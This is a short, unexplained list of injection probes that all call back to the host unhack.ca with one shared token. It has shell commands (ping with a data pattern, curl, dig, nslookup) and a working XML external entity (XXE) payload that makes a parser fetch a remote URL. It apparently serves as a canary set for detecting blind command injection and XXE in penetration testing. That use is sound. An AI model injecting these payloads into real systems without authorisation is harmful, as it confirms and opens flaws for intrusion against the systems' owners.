$ ping -c1 -p 009660c67b434132a86d3dda23f52600 unhack.ca
$ curl http://unhack.ca/p/9660c67b434132a86d3dda23f526
$ dig 9660c67b434132a86d3dda23f526 @unhack.ca
$ dig 9660c67b434132a86d3dda23f526.ns.unhack.ca
C:\> nslookup 9660c67b434132a86d3dda23f526 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9660c67b434132a86d3dda23f526">]> <foo>&xxe;</foo>